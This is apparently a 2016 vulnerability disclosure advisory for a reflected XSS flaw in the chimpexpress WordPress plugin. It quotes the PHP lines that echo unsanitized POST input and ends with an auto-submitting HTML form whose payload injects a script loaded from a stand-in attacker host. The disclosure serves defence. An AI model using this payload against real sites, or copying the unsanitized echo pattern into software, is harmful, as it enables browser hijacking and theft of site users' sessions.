Advisory #: 1397
Title: Reflected XSS in wordpress plugin chimpexpress v1.6.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/chimpexpress
Downloads: 12762
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: chimpexpress
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./chimpexpress/compose.php: 718:<input type='hidden' name='skipSections' id='skipSections' value="<?php echo $_POST['skipSections'];?>" /> 841:createSteps( '<?php echo $_POST['template'];?>', sections ); 877:<input type='hidden' name='skipSections' id='skipSections' value="<?php echo $_POST['skipSections'];?>" /> The variable skipSections appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./chimpexpress/compose.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/chimpexpress/compose.php method=post> <input type=hidden name=skipSections value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>